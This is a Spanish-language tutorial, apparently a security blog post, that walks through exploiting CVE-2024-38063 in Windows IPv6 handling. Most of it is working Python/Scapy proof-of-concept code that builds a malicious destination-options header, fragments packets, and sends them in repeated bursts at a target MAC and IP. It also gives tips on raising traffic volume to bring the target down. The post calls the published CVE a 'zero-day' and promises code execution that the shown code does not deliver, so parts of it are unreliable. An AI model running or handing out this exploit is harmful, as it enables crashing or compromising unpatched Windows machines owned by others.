CVE-2024-38063 9.8 (Critical)
CVE-2024-38063 es una vulnerabilidad de seguridad crítica aplicable a todos los ordenadores Windows con una puntuación de 9,8, publicada el 13 de agosto de 2024, y sigue siendo una amenaza activa.
El objetivo ni siquiera se da cuenta de que está pasando algo, y se salta todas las medidas de seguridad.
Puedes ejecutar código en el estado del sistema del ordenador objetivo, y esta vulnerabilidad se aplica tanto a ordenadores Windows como a servidores Windows.
Esta vulnerabilidad afecta Windows 10, Windows 11, Windows Server (2008 hasta 2022)
Esto incluye múltiples versiones, tanto estándar como instalaciones Server Core.
Estas ediciones de servidor se utilizan ampliamente en entornos empresariales, por lo que esta vulnerabilidad es especialmente crítica para las empresas.
Bien , hasta aqui, vamos a ello, vamos a explotarlo:
Herramientas Necesarias
Python: Es el lenguaje usado en el PoC para construir y enviar los paquetes.
Scapy: Es una librería en Python muy utilizada para manipular paquetes de red. Scapy permite crear, manipular, enviar y recibir paquetes de diferentes protocolos (IP, TCP, UDP, etc.).
Interfaz de Red: Necesitarás una conexión de red que permita enviar paquetes de IPv6, ya que el ataque está basado en este protocolo.
pip install scapy
BashConfiguración de Scapy para IPv6
Una vez instalada, puedes importar Scapy en Python y empezar a construir los paquetes IPv6:
from scapy.all import *
BashCreación y Fragmentación de Paquetes
Paso 1: Creación del Paquete Inicial
El primer paso es construir un paquete IPv6 con un encabezado de extensión malicioso. Puedes configurar el paquete con el código del PoC:
# Definir la dirección MAC y IP de destino
mac_addr = "AA:BB:CC:DD:EE:FF" # MAC del objetivo
ip_addr = "2001:db8::1" # IP de destino (IPv6)
# Crear el paquete IPv6 con un encabezado de extensión malicioso
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
BashPaso 2: Fragmentación del Paquete
Una vez creado el primer paquete, necesitas fragmentarlo en partes más pequeñas que simulen un paquete grande. Para ello, usas el encabezado IPv6ExtHdrFragment
:
frag_id = 1234 # Identificador de fragmento
# Crear los fragmentos del paquete
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m=1, offset=0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m=0, offset=1)
BashPaso 3: Envío de los Paquetes en Secuencia
Una vez creados los fragmentos, es hora de enviar múltiples fragmentos rápidamente para saturar el sistema objetivo. Puedes configurar un bucle en Python para enviar estos paquetes repetidamente:
def get_packets():
# Paquetes a enviar en cada intento
return [first, second, third]
num_batches = 100 # Número de rondas de envío
num_tries = 50 # Intentos por ronda
# Enviar los paquetes en ráfagas
for _ in range(num_batches):
for i in range(num_tries):
sendp(get_packets(), iface="eth0") # Cambia "eth0" por la interfaz de red adecuada
BashConsideraciones
IP y MAC: Asegúrate de configurar la IP y MAC de destino correctas según el sistema que estás atacando.
Velocidad de Envío: Modifica num_batches
y num_tries
para controlar el volumen de tráfico. Un mayor volumen puede aumentar la probabilidad de que el sistema objetivo caiga bajo la presión del ataque.
Esto ha sido un vector de ataque de como aplicar tu propio POC para la explotación remota del Kernel a través de IPv6 en Windows – Ataque de día cero.
Alternativa:_ Hay muchos POC’s en internet, puedes usar algunos de ellos, o crear tu propio, automatizando el vector de ataque que hemos hecho.
S.I Intelligence
be safe!